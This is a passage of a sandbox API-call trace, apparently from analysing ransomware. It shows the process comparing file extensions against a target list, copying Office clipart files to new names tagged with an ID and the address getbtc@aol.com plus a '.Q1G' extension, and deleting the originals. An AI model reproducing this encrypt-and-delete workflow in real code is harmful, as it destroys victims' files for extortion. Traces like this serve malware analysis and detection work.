[0259.041] lstrlenW (lpString=".ppt") returned 4 [0259.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0259.041] lstrlenW (lpString=".zip") returned 4 [0259.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.041] lstrlenW (lpString=".rar") returned 4 [0259.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.041] lstrlenW (lpString=".bz2") returned 4 [0259.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.041] lstrlenW (lpString=".7z") returned 3 [0259.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0259.041] lstrlenW (lpString=".dbf") returned 4 [0259.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0259.041] lstrlenW (lpString=".1cd") returned 4 [0259.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0259.041] lstrlenW (lpString=".jpg") returned 4 [0259.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0259.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0259.042] lstrlenW (lpString=".doc") returned 4 [0259.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.042] lstrlenW (lpString=".docx") returned 5 [0259.042] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0259.042] lstrlenW (lpString=".pdf") returned 4 [0259.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.042] lstrlenW (lpString=".xls") returned 4 [0259.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.042] lstrlenW (lpString=".xlsx") returned 5 [0259.042] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0259.042] lstrlenW (lpString=".ppt") returned 4 [0259.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0259.042] lstrlenW (lpString=".zip") returned 4 [0259.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.042] lstrlenW (lpString=".rar") returned 4 [0259.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.042] lstrlenW (lpString=".bz2") returned 4 [0259.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.042] lstrlenW (lpString=".7z") returned 3 [0259.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0259.042] lstrlenW (lpString=".dbf") returned 4 [0259.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0259.042] lstrlenW (lpString=".1cd") returned 4 [0259.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0259.042] lstrlenW (lpString=".jpg") returned 4 [0259.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.042] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.043] lstrlenW (lpString="J0107446.WMF") returned 12 [0259.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.043] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=30336) returned 1 [0259.043] CloseHandle (hObject=0x3a8) returned 1 [0259.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf")) returned 0x20 [0259.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.044] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.044] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0259.045] GetLastError () returned 0x0 [0259.045] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x7680, lpOverlapped=0x0) returned 1 [0259.070] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x7690, lpOverlapped=0x0) returned 1 [0259.071] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.071] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.071] SetEndOfFile (hFile=0x388) returned 1 [0259.072] CloseHandle (hObject=0x388) returned 1 [0259.072] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.072] SetEndOfFile (hFile=0x3a8) returned 1 [0259.074] CloseHandle (hObject=0x3a8) returned 1 [0259.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf")) returned 1 [0259.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0259.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0259.323] lstrlenW (lpString=".doc") returned 4 [0259.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.323] lstrlenW (lpString=".docx") returned 5 [0259.323] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0259.323] lstrlenW (lpString=".pdf") returned 4 [0259.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.323] lstrlenW (lpString=".xls") returned 4 [0259.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.323] lstrlenW (lpString=".xlsx") returned 5 [0259.323] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0259.323] lstrlenW (lpString=".ppt") returned 4 [0259.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0259.323] lstrlenW (lpString=".zip") returned 4 [0259.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.323] lstrlenW (lpString=".rar") returned 4 [0259.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.323] lstrlenW (lpString=".bz2") returned 4 [0259.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.323] lstrlenW (lpString=".7z") returned 3 [0259.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0259.323] lstrlenW (lpString=".dbf") returned 4 [0259.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0259.323] lstrlenW (lpString=".1cd") returned 4 [0259.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0259.323] lstrlenW (lpString=".jpg") returned 4 [0259.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0259.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0259.324] lstrlenW (lpString=".doc") returned 4 [0259.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.324] lstrlenW (lpString=".docx") returned 5 [0259.324] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0259.324] lstrlenW (lpString=".pdf") returned 4 [0259.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.324] lstrlenW (lpString=".xls") returned 4 [0259.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.324] lstrlenW (lpString=".xlsx") returned 5 [0259.324] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0259.324] lstrlenW (lpString=".ppt") returned 4 [0259.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0259.324] lstrlenW (lpString=".zip") returned 4 [0259.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.324] lstrlenW (lpString=".rar") returned 4 [0259.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.324] lstrlenW (lpString=".bz2") returned 4 [0259.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.324] lstrlenW (lpString=".7z") returned 3 [0259.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0259.324] lstrlenW (lpString=".dbf") returned 4 [0259.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0259.325] lstrlenW (lpString=".1cd") returned 4 [0259.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0259.325] lstrlenW (lpString=".jpg") returned 4 [0259.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.325] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.325] lstrlenW (lpString="J0107484.WMF") returned 12 [0259.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.516] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=3040) returned 1 [0259.516] CloseHandle (hObject=0x390) returned 1 [0259.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf")) returned 0x20 [0259.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.516] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.516] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0259.517] GetLastError () returned 0x0 [0259.517] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xbe0, lpOverlapped=0x0) returned 1 [0259.580] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xbf0, lpOverlapped=0x0) returned 1 [0259.581] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.582] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.582] SetEndOfFile (hFile=0x388) returned 1 [0259.582] CloseHandle (hObject=0x388) returned 1 [0259.582] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.582] SetEndOfFile (hFile=0x390) returned 1 [0259.584] CloseHandle (hObject=0x390) returned 1 [0259.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf")) returned 1 [0259.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0259.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0259.630] lstrlenW (lpString=".doc") returned 4 [0259.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.631] lstrlenW (lpString=".docx") returned 5 [0259.631] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0259.631] lstrlenW (lpString=".pdf") returned 4 [0259.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.631] lstrlenW (lpString=".xls") returned 4 [0259.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.631] lstrlenW (lpString=".xlsx") returned 5 [0259.631] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0259.631] lstrlenW (lpString=".ppt") returned 4 [0259.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0259.631] lstrlenW (lpString=".zip") returned 4 [0259.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.631] lstrlenW (lpString=".rar") returned 4 [0259.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.631] lstrlenW (lpString=".bz2") returned 4 [0259.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.631] lstrlenW (lpString=".7z") returned 3 [0259.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0259.631] lstrlenW (lpString=".dbf") returned 4 [0259.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0259.631] lstrlenW (lpString=".1cd") returned 4 [0259.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0259.631] lstrlenW (lpString=".jpg") returned 4 [0259.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0259.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0259.631] lstrlenW (lpString=".doc") returned 4 [0259.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.631] lstrlenW (lpString=".docx") returned 5 [0259.631] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0259.631] lstrlenW (lpString=".pdf") returned 4 [0259.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.632] lstrlenW (lpString=".xls") returned 4 [0259.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.632] lstrlenW (lpString=".xlsx") returned 5 [0259.632] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0259.632] lstrlenW (lpString=".ppt") returned 4 [0259.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0259.632] lstrlenW (lpString=".zip") returned 4 [0259.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.632] lstrlenW (lpString=".rar") returned 4 [0259.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.632] lstrlenW (lpString=".bz2") returned 4 [0259.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.632] lstrlenW (lpString=".7z") returned 3 [0259.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0259.632] lstrlenW (lpString=".dbf") returned 4 [0259.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0259.632] lstrlenW (lpString=".1cd") returned 4 [0259.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0259.632] lstrlenW (lpString=".jpg") returned 4 [0259.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.632] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.632] lstrlenW (lpString="J0107496.WMF") returned 12 [0259.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0259.633] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=8864) returned 1 [0259.633] CloseHandle (hObject=0x3e8) returned 1 [0259.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf")) returned 0x20 [0259.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0259.633] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.633] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.638] GetLastError () returned 0x0 [0259.638] ReadFile (in: hFile=0x3e8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x22a0, lpOverlapped=0x0) returned 1 [0259.711] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x22b0, lpOverlapped=0x0) returned 1 [0259.712] ReadFile (in: hFile=0x3e8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.712] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.712] SetEndOfFile (hFile=0x3b4) returned 1 [0259.712] CloseHandle (hObject=0x3b4) returned 1 [0259.712] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.712] SetEndOfFile (hFile=0x3e8) returned 1 [0259.714] CloseHandle (hObject=0x3e8) returned 1 [0259.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf")) returned 1 [0259.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0259.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0259.715] lstrlenW (lpString=".doc") returned 4 [0259.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.715] lstrlenW (lpString=".docx") returned 5 [0259.715] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0259.715] lstrlenW (lpString=".pdf") returned 4 [0259.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.715] lstrlenW (lpString=".xls") returned 4 [0259.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.715] lstrlenW (lpString=".xlsx") returned 5 [0259.715] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0259.715] lstrlenW (lpString=".ppt") returned 4 [0259.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0259.716] lstrlenW (lpString=".zip") returned 4 [0259.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.716] lstrlenW (lpString=".rar") returned 4 [0259.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.716] lstrlenW (lpString=".bz2") returned 4 [0259.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.716] lstrlenW (lpString=".7z") returned 3 [0259.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0259.716] lstrlenW (lpString=".dbf") returned 4 [0259.716] lstrcmpiW 